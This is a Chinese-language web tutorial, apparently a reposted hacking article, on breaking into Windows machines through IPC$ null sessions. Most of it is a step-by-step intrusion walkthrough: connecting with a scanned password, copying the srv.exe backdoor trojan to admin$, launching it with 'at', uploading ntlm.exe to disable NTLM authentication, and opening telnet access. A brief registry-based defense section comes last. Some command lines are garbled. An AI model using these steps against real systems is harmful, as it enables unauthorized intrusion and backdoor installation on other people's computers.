簡(jiǎn) 介
在網(wǎng)入侵中，我總結(jié)一下，以下幾種常見(jiàn)漏洞入方法和補(bǔ)久措施。By:啤酒蓋 相傳，在神奇的網(wǎng)絡(luò)世界中，有一群習(xí)慣了晝伏夜出的人，他們崇尚自由，反對(duì)收費(fèi)，不變的信念是共享，在那群人眼中，眾生皆平等，也沒(méi)有什么堅(jiān)不可破的城墻，他們就是——黑客！今天我們把黑客經(jīng)常用到的經(jīng)典入侵技術(shù)與大家共享！ 一、 永恒的IPC$ 　　入侵難度：★★★（中等） 　　存在范圍：★★★（中等） 　　危險(xiǎn)指數(shù)：★★★★★（很高） 　　使用幾率：★★★★★（很高） 　　好用指數(shù)：75% 　　編輯部評(píng)審意見(jiàn)： 　　眾所周知，安全問(wèn)題是一個(gè)極具時(shí)效的問(wèn)題，就拿兩年前百試不爽的.printer溢出和unicode來(lái)說(shuō)吧，在本年度基本上就沒(méi)怎么再見(jiàn)有還用！ 　　然而似乎也有例外，針對(duì)IPC$問(wèn)題的攻擊就常用常新。 　　什么是IPC$漏洞： 　　IPC$是共享“命名管道”的資源，主要用于程序間的通訊。在遠(yuǎn)程管理計(jì)算機(jī)和查看計(jì)算機(jī)的共享資源時(shí)使用。利用默認(rèn)的IPC$我們可以與目標(biāo)主機(jī)建立一個(gè)空的連接（無(wú)需用戶名與密碼），而利用這個(gè)空的連接，我們就可以得目標(biāo)主機(jī)上的用戶列表。 　　我們總在說(shuō)ipc$漏洞ipc$漏洞，其實(shí)，ipc$并不是真正意義上的漏洞，它是為了方便管理員的遠(yuǎn)程管理而開(kāi)放的遠(yuǎn)程網(wǎng)絡(luò)登陸功能，而且還打開(kāi)了默認(rèn)共享，即所有的邏輯盤(pán)(c$，d$，e$……)和系統(tǒng)目錄winnt或windows(admin$)。 　　所有的這些，初衷都是為了方便管理員的管理，但好的初衷并不一定有好的收效，一些別有用心者(到底是什么用心?我也不知道，代詞一個(gè))會(huì)利用IPC$，訪問(wèn)共享資源，導(dǎo)出用戶列表，并使用一些字典工具，進(jìn)行 密碼探測(cè)，寄希望于獲得更高的權(quán)限，從而達(dá)到不可告人的目的。 　　攻擊工具： 　　掃描軟件：流光4.71 　　木馬軟件：srv.exe 　　簡(jiǎn)單攻擊： 　　1. 打開(kāi)流光4.71 　　2. 進(jìn)行掃描前的設(shè)置 　　3. 假設(shè)掃出127.0.0.1存在ipc$漏洞，我們進(jìn)行如下操作 　　C:\>net use $">\\127.0.0.1\IPC$ "" /user:"admintitrators" //這是用流光掃到的密碼 　　C:\>copy srv.exe $">\\127.0.0.1\admin$ //先復(fù)制srv.exe上去，在流光的Tools目錄就有 　　出現(xiàn)如下提示： 　　c:\winnt\system32\ 　　已復(fù)制 1 個(gè)文件 　　C:\>net time \\127.0.0.1 //查時(shí)間，這里的時(shí)間是指對(duì)方計(jì)算機(jī)的，也就是我們要入侵的127.0.0.1的時(shí)間，還有要提醒大家要注意的一點(diǎn)是，請(qǐng)把時(shí)間轉(zhuǎn)換為24小時(shí)制 　　C:\>at \\127.0.0.1 11:05 srv.exe //用at命令啟動(dòng)srv.exe 　　C:\>net time \\127.0.0.1 //再查查夠時(shí)間沒(méi)有 　　C:\>telnet 127.0.0.1 99 //我們telnet吧，注意端口是99，因?yàn)檫@里我們用的是srv.exe。 　　C:\>copy ntlm.exe $">\\127.0.0.1\admin$ //我們?cè)匍_(kāi)一個(gè)DOS窗口，把ntlm.exe上傳到主機(jī)上，在流光的tools目錄有 　　C:\WINNT\system32>ntlm //運(yùn)行，破壞對(duì)方機(jī)器的ntlm驗(yàn)證模式，使我們能通過(guò)直接連接對(duì)方的telnet模式。 　　C:\WINNT\system32> 　　C:\WINNT\system32>net start telnet //然后直接用net start telnet啟動(dòng)telnet 　　Telnet 服務(wù)器正在啟動(dòng). 　　Telnet 服務(wù)器已經(jīng)啟動(dòng)成功。 \ C //成功 　　這時(shí)我們就可以直接使用TELNET 127.0.0.1連接對(duì)方了。 　　至此入侵結(jié)束。 　　如何防御： 　　1. 禁止建立空連接 　　[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA] 　　RestrictAnonymous = DWORD:00000001 　　2. 禁止管理共享 　　[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters] 　　AutoShareServer = DWORD:00000000

版權(quán)聲明：本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有，歡迎引用、轉(zhuǎn)載，請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站，禁止在非maisonbaluchon.cn所屬的服務(wù)器上建立鏡像，否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái)，僅供學(xué)習(xí)參考，不代表本站立場(chǎng)，如有內(nèi)容涉嫌侵權(quán)，請(qǐng)聯(lián)系alex-e#qq.com處理。